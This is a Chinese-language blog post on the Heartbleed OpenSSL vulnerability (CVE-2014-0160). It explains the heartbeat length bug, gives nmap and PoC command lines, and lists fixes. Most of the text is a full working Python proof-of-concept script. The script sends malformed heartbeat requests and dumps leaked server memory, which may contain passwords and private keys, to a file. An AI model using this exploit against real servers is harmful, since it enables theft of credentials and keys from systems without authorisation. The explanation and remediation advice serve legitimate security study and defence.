当前位置:   article > 正文

heartbleed漏洞利用

heartbleed漏洞

心脏滴血漏洞。
漏洞源于openssl对TLS/DTLS (transport layer security protocols)协议心跳扩展功能的实现. 通过漏洞每次可以泄漏服务器内存64K大小的数据内容,其中可能包含用户名、密码、私钥等敏感数据.


heartbeats的作用

受影响版本:OpenSSL 1.0.1 - 1.0.1f 存在漏洞
heartbeat数据结构体

  1. struct hb {
  2. int type;
  3. int length;
  4. unsigned char *data;
  5. };
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

type为heartbeat类型,length为data大小,data字段的内容组成分为type字段占1个字节,payload字段占2个字节,其余的为payload的具体内容

Payload内容

  1. 0 类型,type
  2. 1-2 data中具体的内容的大小,payload
  3. 3-len 具体的内容,pl
  • 1
  • 2
  • 3
  • 4

假如客户端发送的data数据为"007abcdefg",那么服务器端解析可以得到type=0, payload=07, pl='abcdefg',申请(1+2+7=10)大小的内存,然后再将type, payload, pl写到新申请的内存中

漏洞代码(OpenSSL 中的 ssl/d1_both.c 文件中dtls1_process_heartbeat 函数)
………….
buffer = OPENSSL_malloc(1 + 2 + payload + padding); //根据 payload 分配内存,额外的3字节用于存放类型和长度
………….
memcpy(bp, pl, payload); //填充回应包的载荷

exploit:

  1. nmap --script=ssl-heartbleed -p 443 www.example.com
  2. python heartbleed-poc.py -p 443 www.example.com
  • 1
  • 2
  • 3

参考更丰富的方案:
1)http://www.freebuf.com/sectool/32785.html
2)http://heartbleed.com/
3)http://www.cnblogs.com/milantgh/p/3728350.html

修复方案:
1)升级到openssl 1.0.1g或更新版本
2)重新编译openssl,在编译时增加参数 -DOPENSSL_NO_HEARTBEATS 关闭心跳扩展功能
3)撤销数字证书,以免证书被窃取后篡改使用Man-In-Middle攻击

heartbleed-poc.py:

  1. #!/usr/bin/python
  2. # Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org)
  3. # The author disclaims copyright to this source code.
  4. # Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)
  5. import sys
  6. import struct
  7. import socket
  8. import time
  9. import select
  10. import re
  11. from optparse import OptionParser
  12. import smtplib
  13. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  14. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  15. options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)')
  16. options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)')
  17. options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true')
  18. options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)')
  19. def h2bin(x):
  20. return x.replace(' ', '').replace('\n', '').decode('hex')
  21. hello = h2bin('''
  22. 16 03 02 00 dc 01 00 00 d8 03 02 53
  23. 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
  24. bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
  25. 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
  26. 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
  27. c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
  28. c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
  29. c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
  30. c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
  31. 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
  32. 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
  33. 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
  34. 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
  35. 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
  36. 00 0f 00 01 01
  37. ''')
  38. hbv10 = h2bin('''
  39. 18 03 01 00 03
  40. 01 40 00
  41. ''')
  42. hbv11 = h2bin('''
  43. 18 03 02 00 03
  44. 01 40 00
  45. ''')
  46. hbv12 = h2bin('''
  47. 18 03 03 00 03
  48. 01 40 00
  49. ''')
  50. def hexdump(s, dumpf, quiet):
  51. dump = open(dumpf,'a')
  52. dump.write(s)
  53. dump.close()
  54. if quiet: return
  55. for b in xrange(0, len(s), 16):
  56. lin = [c for c in s[b : b + 16]]
  57. hxdat = ' '.join('%02X' % ord(c) for c in lin)
  58. pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
  59. print ' %04x: %-48s %s' % (b, hxdat, pdat)
  60. print
  61. def recvall(s, length, timeout=5):
  62. endtime = time.time() + timeout
  63. rdata = ''
  64. remain = length
  65. while remain > 0:
  66. rtime = endtime - time.time()
  67. if rtime < 0:
  68. if not rdata:
  69. return None
  70. else:
  71. return rdata
  72. r, w, e = select.select([s], [], [], 5)
  73. if s in r:
  74. data = s.recv(remain)
  75. # EOF?
  76. if not data:
  77. return None
  78. rdata += data
  79. remain -= len(data)
  80. return rdata
  81. def recvmsg(s):
  82. hdr = recvall(s, 5)
  83. if hdr is None:
  84. print 'Unexpected EOF receiving record header - server closed connection'
  85. return None, None, None
  86. typ, ver, ln = struct.unpack('>BHH', hdr)
  87. pay = recvall(s, ln, 10)
  88. if pay is None:
  89. print 'Unexpected EOF receiving record payload - server closed connection'
  90. return None, None, None
  91. print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
  92. return typ, ver, pay
  93. def hit_hb(s, dumpf, host, quiet):
  94. while True:
  95. typ, ver, pay = recvmsg(s)
  96. if typ is None:
  97. print 'No heartbeat response received from '+host+', server likely not vulnerable'
  98. return False
  99. if typ == 24:
  100. if not quiet: print 'Received heartbeat response:'
  101. hexdump(pay, dumpf, quiet)
  102. if len(pay) > 3:
  103. print 'WARNING: server '+ host +' returned more data than it should - server is vulnerable!'
  104. else:
  105. print 'Server '+host+' processed malformed heartbeat, but did not return any extra data.'
  106. return True
  107. if typ == 21:
  108. if not quiet: print 'Received alert:'
  109. hexdump(pay, dumpf, quiet)
  110. print 'Server '+ host +' returned error, likely not vulnerable'
  111. return False
  112. def connect(host, port, quiet):
  113. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  114. if not quiet: print 'Connecting...'
  115. sys.stdout.flush()
  116. s.connect((host, port))
  117. return s
  118. def tls(s, quiet):
  119. if not quiet: print 'Sending Client Hello...'
  120. sys.stdout.flush()
  121. s.send(hello)
  122. if not quiet: print 'Waiting for Server Hello...'
  123. sys.stdout.flush()
  124. def parseresp(s):
  125. while True:
  126. typ, ver, pay = recvmsg(s)
  127. if typ == None:
  128. print 'Server closed connection without sending Server Hello.'
  129. return 0
  130. # Look for server hello done message.
  131. if typ == 22 and ord(pay[0]) == 0x0E:
  132. return ver
  133. def check(host, port, dumpf, quiet, starttls):
  134. response = False
  135. if starttls:
  136. try:
  137. s = smtplib.SMTP(host=host,port=port)
  138. s.ehlo()
  139. s.starttls()
  140. except smtplib.SMTPException:
  141. print 'STARTTLS not supported...'
  142. s.quit()
  143. return False
  144. print 'STARTTLS supported...'
  145. s.quit()
  146. s = connect(host, port, quiet)
  147. s.settimeout(1)
  148. try:
  149. re = s.recv(1024)
  150. s.send('ehlo starttlstest\r\n')
  151. re = s.recv(1024)
  152. s.send('starttls\r\n')
  153. re = s.recv(1024)
  154. except socket.timeout:
  155. print 'Timeout issues, going ahead anyway, but it is probably broken ...'
  156. tls(s,quiet)
  157. else:
  158. s = connect(host, port, quiet)
  159. tls(s,quiet)
  160. version = parseresp(s)
  161. if version == 0:
  162. if not quiet: print "Got an error while parsing the response, bailing ..."
  163. return False
  164. else:
  165. version = version - 0x0300
  166. if not quiet: print "Server TLS version was 1.%d\n" % version
  167. if not quiet: print 'Sending heartbeat request...'
  168. sys.stdout.flush()
  169. if (version == 1):
  170. s.send(hbv10)
  171. response = hit_hb(s,dumpf, host, quiet)
  172. if (version == 2):
  173. s.send(hbv11)
  174. response = hit_hb(s,dumpf, host, quiet)
  175. if (version == 3):
  176. s.send(hbv12)
  177. response = hit_hb(s,dumpf, host, quiet)
  178. s.close()
  179. return response
  180. def main():
  181. opts, args = options.parse_args()
  182. if len(args) < 1:
  183. options.print_help()
  184. return
  185. print 'Scanning ' + args[0] + ' on port ' + str(opts.port)
  186. for i in xrange(0,opts.num):
  187. check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)
  188. if __name__ == '__main__':
  189. main()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122
  • 123
  • 124
  • 125
  • 126
  • 127
  • 128
  • 129
  • 130
  • 131
  • 132
  • 133
  • 134
  • 135
  • 136
  • 137
  • 138
  • 139
  • 140
  • 141
  • 142
  • 143
  • 144
  • 145
  • 146
  • 147
  • 148
  • 149
  • 150
  • 151
  • 152
  • 153
  • 154
  • 155
  • 156
  • 157
  • 158
  • 159
  • 160
  • 161
  • 162
  • 163
  • 164
  • 165
  • 166
  • 167
  • 168
  • 169
  • 170
  • 171
  • 172
  • 173
  • 174
  • 175
  • 176
  • 177
  • 178
  • 179
  • 180
  • 181
  • 182
  • 183
  • 184
  • 185
  • 186
  • 187
  • 188
  • 189
  • 190
  • 191
  • 192
  • 193
  • 194
  • 195
  • 196
  • 197
  • 198
  • 199
  • 200
  • 201
  • 202
  • 203
  • 204
  • 205
  • 206
  • 207
  • 208
  • 209
  • 210
  • 211
  • 212
  • 213
  • 214
声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号